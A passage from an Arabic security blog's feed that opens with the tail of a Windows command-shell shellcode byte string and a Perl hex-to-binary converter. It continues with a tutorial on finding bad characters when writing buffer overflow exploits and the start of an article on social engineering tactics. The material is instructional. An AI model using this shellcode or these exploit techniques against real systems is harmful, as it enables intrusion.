&quot;\x98\x89\xe6\xb5\x03\x29\xcc\x29&quot;.&lt;br /&gt;<br />
&quot;\xcc\x89\xe7\xd6\xf3\xaa\x41\x51&quot;.&lt;br /&gt;<br />
&quot;\x41\x51\x57\x51\x83\xef\x2c\xa4&quot;.&lt;br /&gt;<br />
&quot;\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78&quot;.&lt;br /&gt;<br />
&quot;\x01\xeb\x8b\x4b\x20\x01\xe9\x56&quot;.&lt;br /&gt;<br />
&quot;\x31\xd2\x42\x8b\x34\x91\x01\xee&quot;.&lt;br /&gt;<br />
&quot;\xb4\x36\xac\x34\x71\x28\xc4\x3c&quot;.&lt;br /&gt;<br />
&quot;\x71\x75\xf7\x3a\x27\x75\xeb\x5e&quot;.&lt;br /&gt;<br />
&quot;\x8b\x4b\x24\x01\xe9\x0f\xb7\x14&quot;.&lt;br /&gt;<br />
&quot;\x51\x8b\x4b\x1c\x01\xe9\x89\xe8&quot;.&lt;br /&gt;<br />
&quot;\x03\x04\x91\xab\x80\x3e\x09\x75&quot;.&lt;br /&gt;<br />
&quot;\x08\x8d\x5e\x04\x53\xff\xd0\x57&quot;.&lt;br /&gt;<br />
&quot;\x95\x80\x3e\x73\x75\xb1\x5e\xad&quot;.&lt;br /&gt;<br />
&quot;\xff\xd0\xad\xff\xd0\x95\x81\x2f&quot;.&lt;br /&gt;<br />
&quot;\xfe\xff\x8f\x33\x6a\x10\x57\xad&quot;.&lt;br /&gt;<br />
&quot;\x55\xff\xd0\x85\xc0\x74\xf8\x31&quot;.&lt;br /&gt;<br />
&quot;\xd2\x52\x68\x63\x6d\x64\x20\x8d&quot;.&lt;br /&gt;<br />
&quot;\x7c\x24\x38\xab\xab\xab\xc6\x47&quot;.&lt;br /&gt;<br />
&quot;\xe9\x01\x54\x87\x3c\x24\x57\x52&quot;.&lt;br /&gt;<br />
&quot;\x52\x52\xc6\x47\xef\x08\x57\x52&quot;.&lt;br /&gt;<br />
&quot;\x52\x57\x52\xff\x56\xe4\x8b\x46&quot;.&lt;br /&gt;<br />
&quot;\xfc\xe9\xca\xff\xff\xff&quot;;&lt;br /&gt;<br />
Number of null bytes : 0&lt;br /&gt;<br />
--------------------------------------------&lt;br /&gt;<br />
Displaying bytes as ascii :&lt;br /&gt;<br />
--------------------------------------------</div></div>
</p>
<h4>تحويل الـ Shellcode  من Hex إلى Binary</h4>
<p><strong><span style="color: #ff0000;">- </span>لتحميل الأداة</strong> <a href="http://redmine.corelan.be:8800/projects/shellcoding/repository/raw/scripts/pveWritebin.pl" target="_blank">pveWritebin</a></p>
<p><strong><span style="color: #ff0000;">-</span> طريقة الاستخدام</strong></p>
<p>افتح السكربت و استبدل العبارة <strong>&#8220;</strong>Put You Shellcode Here Line<strong>&#8220;</strong> بالـ Shellcode خاصتك</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:400px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/usr/bin/perl&lt;br /&gt;<br />
# Perl script written by Peter Van Eeckhoutte&lt;br /&gt;<br />
# http://www.corelan.be:8800&lt;br /&gt;<br />
# This script takes a filename as argument&lt;br /&gt;<br />
# will write bytes in \x format to the file&lt;br /&gt;<br />
#&lt;br /&gt;<br />
if ($#ARGV ne 0) {&lt;br /&gt;<br />
print &quot; usage: $0 &quot;.chr(34).&quot;output filename&quot;.chr(34).&quot;\n&quot;;&lt;br /&gt;<br />
exit(0);&lt;br /&gt;<br />
}&lt;br /&gt;<br />
system(&quot;del $ARGV[0]&quot;);&lt;br /&gt;<br />
my $shellcode=&quot;Put You Shellcode Here Line1&quot;.&lt;br /&gt;<br />
&quot;Put You Shellcode Here Line2&quot;.&lt;br /&gt;<br />
&quot;Put You Shellcode Here Line3&quot;;&lt;br /&gt;<br />
#open file in binary mode&lt;br /&gt;<br />
print &quot;Writing to &quot;.$ARGV[0].&quot;\n&quot;;&lt;br /&gt;<br />
open(FILE,&quot;&amp;gt;$ARGV[0]&quot;);&lt;br /&gt;<br />
binmode FILE;&lt;br /&gt;<br />
print FILE $shellcode;&lt;br /&gt;<br />
close(FILE);&lt;br /&gt;<br />
print &quot;Wrote &quot;.length($shellcode).&quot; bytes to file\n&quot;;</div></div>
</p>
<p>ثم نفذ السكريبت بهذه الطريقة</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">perl pveWritebin.pl shellcode.bin</div></div>
</p>
<h6><span style="color: #ff0000;">تحذير!!</span></h6>
<p>احذر من أن تستخدم Shellcode غير موثوق و اعرف محتويات هذا الملف (<a href="http://blog.xanda.org/2010/02/07/yet-another-fake-exploit/" target="_blank"><span style="color: #ff0000;">لأنه يقد يحتوي على أوامر تضر بنظامك</span></a><strong><span style="color: #800000;">!!</span></strong>) بالطرق التالية:</p>
<p><span style="color: #ff0000;">-</span> على اللنوكس -&gt; strings</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">strings shellcode.bin</div></div>
<p>
<span style="color: #ff0000;">-<strong> </strong></span>على ويندوز -&gt; type</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type shellcode.bin</div></div>
</p>
<p><a href="http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/" target="_blank">لمزيد عن هذا الموضوع</a></p>
<p><a href="http://www.security4arabs.com/wp-content/uploads/2011/01/asciitable5vf.gif" target="_blank"><strong>صورة ذات علاقة</strong></a></p>
<p><strong>تحياتي و احترامي</strong></p>
<hr />
<p><small>&copy; Eng. Sabri Saleh for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2011. |
<a href="http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/">Permalink</a> |
<a href="http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/#comments">4 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/&amp;title=تحويل الـ Shellcode  من Hex إلى Binary  و العكس">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/binary-to-hex/" rel="tag">Binary to Hex</a>, <a href="http://www.security4arabs.com/tag/buffer-overflow/" rel="tag">buffer overflow</a>, <a href="http://www.security4arabs.com/tag/hex-to-binary/" rel="tag">Hex to Binary</a>, <a href="http://www.security4arabs.com/tag/immunity-debuger/" rel="tag">immunity debuger</a>, <a href="http://www.security4arabs.com/tag/poc/" rel="tag">PoC</a>, <a href="http://www.security4arabs.com/tag/pvereadbin/" rel="tag">pveReadbin</a>, <a href="http://www.security4arabs.com/tag/pvewritebin/" rel="tag">pveWritebin</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>إيجاد الـ Bad Characters في الـ Shellcode</title>
		<link>http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/</link>
		<comments>http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/#comments</comments>
		<pubDate>Wed, 12 Jan 2011 23:55:25 +0000</pubDate>
		<dc:creator>صبري صالح</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[شروحات]]></category>
		<category><![CDATA[bad characters]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[immunity debuger]]></category>
		<category><![CDATA[pvefindaddr]]></category>
		<category><![CDATA[restrected characters]]></category>
		<category><![CDATA[Shell Code]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=1849</guid>
		<description><![CDATA[مقدمة في مرحلة من مراحل كتابتنا لثغرة BufferOverflow  فإننا قد نعاني من مشكلة مملة و نجد أن الـPayload  يعطّل الـ Exploit  بكامله مع أننا قد تأكدنا أن كل شئ يمشى بأفضل حال قبل وضع الـ Shellcode  الحقيقي. السبب في ذلك هو وجود الـ Bad Characters أو الـ Restricted Characters. ستكتشف تلك المشكلة عندما تضع نقطة [...]]]></description>
			<content:encoded><![CDATA[<h3>مقدمة</h3>
<p>في مرحلة من مراحل كتابتنا لثغرة BufferOverflow  فإننا قد نعاني من مشكلة مملة و نجد أن الـPayload  يعطّل الـ Exploit  بكامله مع أننا قد تأكدنا أن كل شئ يمشى بأفضل حال قبل وضع الـ Shellcode  الحقيقي. السبب في ذلك هو وجود الـ Bad Characters أو الـ Restricted Characters.</p>
<p>ستكتشف تلك المشكلة عندما تضع نقطة وقوف Break Point  في الـ Debugger  ولكن عند تنفيذ الثغرة لن تصل إلى ذلك العنوان. أو أنك ستصل ولكن الـ Shellcode لن يعمل (بشرط تأكدك أن جميع الأجزاء الأخرى سليمة).</p>
<h4>ما هي الـ Bad/Restricted Characters؟</h4>
<p>هي Characters عادية من ضمن الـ Shellcode يتم عمل Decoding لها بشكل طبيعي ولكن لها معنى لا يقبله البرنامج المصاب كأن يكون هذا الـ Characters سيدخل في تسمية ملف مثلا و فلو فرضنا أن في الشل كود قيمة ستدخل في تسمية ملف ما و كانت القيمة &#8220;\x7D&#8221; و التي تعني &#8220;}&#8221; و من المعروف أننا لا نستطيع وضع هذا الحرف في إسم ملف فوقتها سيوقف هذا الحرف مجرى عملية الـ Decoding  للـ Shellcode.</p>
<p>قد يبدر إلى أذهاننا بعض الأسئلة, منها..</p>
<p><strong><span style="color: #ff0000;">س/ </span></strong>هل جميع البرامج المصابة سيكون بها Bad Characters Restriction ؟</p>
<p><span style="color: #008000;"><strong>ج/</strong> </span>لا</p>
<p><span style="color: #ff0000;">س/ </span>هل يوجد Bad Characters أساسية يجيب أزيلها من أي Shellcode  أقوم بعمله؟</p>
<p><strong><span style="color: #008000;">ج/</span></strong> نعم, هما: <strong><span style="color: #0000ff;"> x00</span></strong> و  <strong><span style="color: #0000ff;">x0d</span></strong></p>
<p><span style="color: #ff0000;">س/ </span>هل كل البرامج لها نفس الـ Bad Characters أي أنني أستطيع أن أحذف كل ما تم اكتشافه سابقا في البرامج اللاحقة؟</p>
<p><span style="color: #008000;"><strong>ج/</strong></span> لا, لكل برنامج Bad Characters  مختلفة تختلف بطبيعة البرنامج و طريقة تنفيذه</p>
<p><span style="color: #ff0000;">س/</span> هل يمكن أن يحتوي البرنامج على أكثر من Bad Character واحد ؟</p>
<p><span style="color: #008000;"><strong>ج/ </strong></span>للأسف نعم</p>
<h4>إيجاد الـ Bad Characters &#8211; الطريقة الأولى</h4>
<p>في البداية, هذه الطريقة هي طريقة مملة و مرهقة جدا و إن كنت سأعطيها إسما فلا أجد أفضل من <strong>&#8220;</strong>طريقة السكتة الدماغية<strong>&#8220;</strong> حيث يتوقف العقل عن التفكير تماما مع الحاجة إلى الكثير من العمل الممل إلا إذا كنت محظوظ و وجدت الحرف في أول سطر أو سطرين,  وأمر الحظ بالذات غير متوفر بالنسبة لي شخصيا.</p>
<p>تعتمد هذه الطريقة على إنشاء جميع احتمالات الحروف من 0-255 عن طريق سكريبت يسمى <a href="http://exploit.co.il/wp-content/uploads/2010/05/generatecodes.txt" target="_blank">generatecodes.pl</a>.</p>
<p>في البداية تقوم بتنفيذ السكريبت مع إزالة الـBad Characters الشائعة x00  و x0d .</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">./generatecodes.pl 00,0d<br />
&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10&quot;<br />
&quot;\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f&quot;<br />
&quot;\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e&quot;<br />
&quot;\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d&quot;<br />
&quot;\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c&quot;<br />
&quot;\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b&quot;<br />
&quot;\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a&quot;<br />
&quot;\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79&quot;<br />
&quot;\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88&quot;<br />
&quot;\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97&quot;<br />
&quot;\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6&quot;<br />
&quot;\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5&quot;<br />
&quot;\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4&quot;<br />
&quot;\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3&quot;<br />
&quot;\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2&quot;<br />
&quot;\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1&quot;<br />
&quot;\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;</div></div>
<p>الأن نأخذ أول سطر من المخرجات و نستبدل الـ Shellcode  بهذا السطر و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الأول.</p>
<p>مثال:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shellcode = (&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10&quot;)</div></div>
<p>الأن نضيف السطر الثاني من المخرجات إلى السطر الأول و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح  فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الثاني, و هكذا.</p>
<p>مثال:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shellcode = (&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10&quot;<br />
&quot;\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f&quot;)</div></div>
<p>عندما لا نصل للعنوان الصحيح, نقوم بقسم السطر الذي وصلنا عنده و حصل عنده خطأ في النتائج و نستبدل النصف الأول منه بـ &#8220;\x41&#8243; مثلا . ثم نجرب فإن حصل خطأ, فهذا يعني أن الـ Bad Character في النصف الأخر, وقتها نبدأ نغير حروف النصف الثاني من السطر الأخير إلى &#8220;\x41&#8243; و نجرب في كل مره حتى نصل أنه لا يوجد خطأ في النتائج و عندها سنعرف ال Bad Character</p>
<p>مثال:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&quot;\x41\x41\x41\x41\x41\x41\x41\x41\x28\x29\x2a\x2b\x2c\x2d\x2e&quot;</div></div>
<p>سنفترض أننا وجدنا و أنه &#8220;x0a&#8221;  إذا سنقول بعمل الأتي</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">./generatecodes.pl 00,0d,0a<br />
&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11&quot;<br />
&quot;\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;<br />
&quot;\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f&quot;<br />
&quot;\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e&quot;<br />
&quot;\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d&quot;<br />
&quot;\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c&quot;<br />
&quot;\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b&quot;<br />
&quot;\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a&quot;<br />
&quot;\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89&quot;<br />
&quot;\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98&quot;<br />
&quot;\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7&quot;<br />
&quot;\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6&quot;<br />
&quot;\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5&quot;<br />
&quot;\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4&quot;<br />
&quot;\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3&quot;<br />
&quot;\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2&quot;<br />
&quot;\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;</div></div>
<p>و نتأكد مرة أخرى, لو لظهر أي خطأ في مجرى سير البرنامج في الـ Debugger  إذن كل شئ على ما يرام. و إن لم!!, فهذا يعني -ولا حول ولا قوه إلا بالله- أنه يوجد Bad Character أخر و يجب أن تكمل المسيرة حتى تجده.</p>
<h4>إيجاد الـ Bad Characters &#8211; الطريقة الثانية</h4>
<p>في البداية أحب أن أرفع القبعة إلى Peter Van رئيس فريق Corelan  و هو من أشهر و أقوى الأشخاص في شرح الـ Buffer Overflow ومبرمج للعديد من السكربتات المفيدة جدا في هذا المجال.</p>
<p>الطريقة الثانية هي عن طريق إضافة رائعة إسمها <strong>pvefindaddr</strong> مع استخدام الدالة <strong>compare</strong></p>
<p>ملاحظة: لا تنسى إضافة <a href="http://redmine.corelan.be:8800/projects/pvefindaddr/wiki/Pvefindaddr_usage" target="_blank">pvefindaddr</a> فلها استخدامات كثيرة و رائعة في الـ Buffer Overflow</p>
<p>كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger  في المسار التالي</p>
<p>C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands</p>
<p>ثم ضع ملف الـ Shellcode  في الـ C  حيث يكون مساره</p>
<p>c:\shellcode.bin</p>
<p><span style="color: #ff6600;"><strong>ملاحظة:</strong> إذا كان الـShellcode بصيغة الـ <em>Hex</em> <span style="text-decoration: underline;">فيجب</span> تحويله إلى <em>Binary</em> , الرجاء <a href="http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/" target="_blank"><strong>زيارة هذا الرابط</strong></a></span></p>
<p>الأن ضع الـ Break point   خاصتك ثم نفذ الـ exploit  الذي يحتوي على الـ shellcode  الحقيقي</p>
<p>بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar  في الـ Immunity Debugger</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">!pvefindaddr compare c:\shellcode.bin</div></div>
<p>ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه</p>
<p style="text-align: center;"><a href="http://www.security4arabs.com/wp-content/uploads/2011/01/imdb6.png"><img class="size-medium wp-image-1855  aligncenter" title="imdb6" src="http://www.security4arabs.com/wp-content/uploads/2011/01/imdb6-300x110.png" alt="" width="300" height="110" /></a></p>
<p>الأن اذهم إلى نافذة الـسجلات  من</p>
<p>View &gt;&gt; Log  أو اضغط   ALT + L</p>
<p>ستجد التالي: (يرجى تكبير الصورة)</p>
<p style="text-align: center;"><a href="http://www.security4arabs.com/wp-content/uploads/2011/01/imdb7.png" target="_blank"><img class="size-medium wp-image-1857 aligncenter" title="imdb7" src="http://www.security4arabs.com/wp-content/uploads/2011/01/imdb7-300x217.png" alt="" width="300" height="217" /></a></p>
<p>كما ترى في حالتي كانت الـ Bad Characters  هي  <strong>5c</strong> و <strong>2f</strong></p>
<p><strong>أيضا تستطيع أن تجد النتائج في ملف <span style="color: #ff0000;"><span style="text-decoration: underline;">compare.txt</span></span> على هذا المسار </strong></p>
<p><strong>&#8220;</strong>C:\Program Files\Immunity Inc\Immunity Debugger<strong>&#8220;</strong> (هذا المسار يحتوي على معظم نتائج استخدام pvefindaddr).</p>
<p><strong>تحياتي واحترامي</strong></p>
<hr />
<p><small>&copy; Eng. Sabri Saleh for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2011. |
<a href="http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/">Permalink</a> |
<a href="http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/#comments">14 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/&amp;title=إيجاد الـ Bad Characters في الـ Shellcode">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/bad-characters/" rel="tag">bad characters</a>, <a href="http://www.security4arabs.com/tag/buffer-overflow/" rel="tag">buffer overflow</a>, <a href="http://www.security4arabs.com/tag/immunity-debuger/" rel="tag">immunity debuger</a>, <a href="http://www.security4arabs.com/tag/pvefindaddr/" rel="tag">pvefindaddr</a>, <a href="http://www.security4arabs.com/tag/restrected-characters/" rel="tag">restrected characters</a>, <a href="http://www.security4arabs.com/tag/shell-code/" rel="tag">Shell Code</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>الهندسة الإجتماعيّة: الحلقة الأولى</title>
		<link>http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/</link>
		<comments>http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/#comments</comments>
		<pubDate>Mon, 27 Dec 2010 18:41:25 +0000</pubDate>
		<dc:creator>مجتمع الحماية</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[عام]]></category>
		<category><![CDATA[هندسة إجتماعيّة]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=1749</guid>
		<description><![CDATA[الهندسة الإجتماعيّة هي اسم تقني للخداع والتّحايل. يهدف فيها المهاجم إلى الإيقاع بالضّحيّة للحصول على معلومات منه عن الهدف الذي يسعى إلى اختراقه (أو التّسلل إليه). في المجال الأمني التّقني تعدّ الهندسة الإجتماعيّة أحد أقدم أنواع القرصنة. ترتكز الهندسة الإجتماعيّة على استغلال العامل البشري. فالإنسان بطبعه: 1- لديّه الرّغبة في أن يساعد الآخرين. 2- عنده [...]]]></description>
			<content:encoded><![CDATA[<p>الهندسة الإجتماعيّة هي اسم تقني للخداع والتّحايل. يهدف فيها المهاجم إلى الإيقاع بالضّحيّة للحصول على معلومات منه عن الهدف الذي يسعى إلى اختراقه (أو التّسلل إليه). في المجال الأمني التّقني تعدّ الهندسة الإجتماعيّة أحد أقدم أنواع القرصنة.</p>
<p>ترتكز الهندسة الإجتماعيّة على استغلال العامل البشري. فالإنسان بطبعه:</p>
<p>1- لديّه الرّغبة في أن يساعد الآخرين.<br />
2- عنده نزعة للثّقة بغيره.<br />
3- يخشى من الوقوع في المشاكل.<br />
4- يتحاشى المواجهة.</p>
<p>باستغلال أحد هذه الطباع أو أكثر، يمكن للقراصنة الإلتفات على إجراءات الحماية داخل المؤسّسات. فكل ما على المهاجم (القرصان) فعله، هو استغلال موظف من داخل المؤسّسة في الهجوم عليها. هذا عمليّاً يوفر على المهاجم الكثير من الوقت الذي سيصرفه في: أيجاد ثغرات في النّظام، استغلال الثغرات، الحصول على كلمات مرور ومن ثمّ كسر كلمات المرور&#8230;إلخ.</p>
<p>ومع الانتشار الكبير للشّبكات الإجتماعيّة، تحسّنت إلى حدٍّ كبير القدرة على القيام بالهندسة الإجتماعيّة. فالشبكات الإجتماعية تحتوي على معلومات على الأشخاص وعلاقاتهم، وبعض (أو الكثير) من تفاصيل حياتهم&#8230;..إلخ.</p>
<h3>أنواع الهندسة الإجتماعيّة</h3>
<p>يمكن تقسيم الهندسة الإجتماعيّة اليوم إلى أربعة أنواع: (هذا التّقسيم يتغيّر مع الوقت تبعاً للأساليب والتّقنيات التي يوظّفها المهاجمون في هجومهم)</p>
<h4>1- المباشر</h4>
<p>هنا يقوم المهاجم بالتّوجّه إلى الهدف بنفسه محاولاً الدخول إلى مناطق غير مصرّح لها به. كأن يدّعي مثلاً أنّه يعمل في شركة الهاتف ويريد اصلاح خلل ما في شبكة الهاتف داخل الشركة.</p>
<h4>2- التّحايل</h4>
<p>وهو وضع الضحيّة في موقف سيناريو معيّن يبدو واقعيّاً وقابلاً للتّصديق، ولكنّه في الحقيقة غير ذلك. والغرض منه الحصول من الضّحيّة على معلومات كحسابه البنكي، او اسم المستخدم و/أو كلمة المرور الخاصّة به. مثلاً انتحال شخصيّة فنّي حاسوب، يحاول مساعدة موظّف في تحديث نظامه، أو معالجة مشكلة في الطابعة، إلخ. الموظّف أكيد لديه مشكلة (إذا عملت فنّي حاسوب فستفهم قصدي تماماً <img src='http://www.security4arabs.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  )، حاسوبه يعمل ببطئ، أو تصفّحه للإنترنت بطيء. فنّي الحاسوب يقوم بإرشاد الموظّف عبر الهاتف حول كيفيّة تحسين أداء حاسوبه، أو سرعة الاتصال لديه عبر تحميل برنامج ما يرسله المهاجم (فنّي الحاسوب) إلى الموظّف (الضحيّة) وتنصيب هذا البرنامج على حاسوب الموظّف. البرنامج هو عبارة عن برمجيّة خبيثة، مثلاً حصان طروادة، حيث يتمّ دمج برنامج حقيقي سليم ببرنامج آخر ضار. هذا البرنامج الضّار يمكن المهاجم من الحصول على موطئ قدم في حاسوب الضحيّة، والشبكة داخل المؤسّسة ككل.</p>
<h4>3- التّصيّد</h4>
<p>في هجمات التّصيّد يقوم المهاجم بإرسال كم كبير من الرّسائل الإلكترونيّة التّي توظّف الخداع لجعل المستخدم يقوم بتنفيذ برنامج ضار يقوم مرفقاً بالرّسالة. طبعاً المهاجم لا يتنظر أن يقوم كل فرد وصلت له رسالة المهاجم بفتحها وفتح الملفات المرفقة معها. فالصّياد عندما يضع الطعم للأسماك عند صيده لا يتوقع أن تبتلع كل الأسماك الطّعم.</p>
<p>التّصيّد نفسه أنواع، النّوع الذي ذكرته قبل قليل هو النّوع العام. ولكن هناك نوع آخر منه ويدعى التّصيد المستهدَف. في هذا النّوع يقوم المهاجم بإرسال رسائل إلكترونيّة لأفراد يعملون في شركة معيّنة مثلاً. مثل الهجوم الذي تعرّضت له غوغل والذي يقال أنّه قد بدأ بهجوم تصيّد مستهدف. إذا لم تتضح الفكرة، ففكر بالصّياد الذي يريد اصطياد نوع معيّن من الأسماك فالصّياد في هذه الحالة سيهيّئ طُعماً يجذب هذا النّوع من الأسماك.</p>
<h4>4- الطعم</h4>
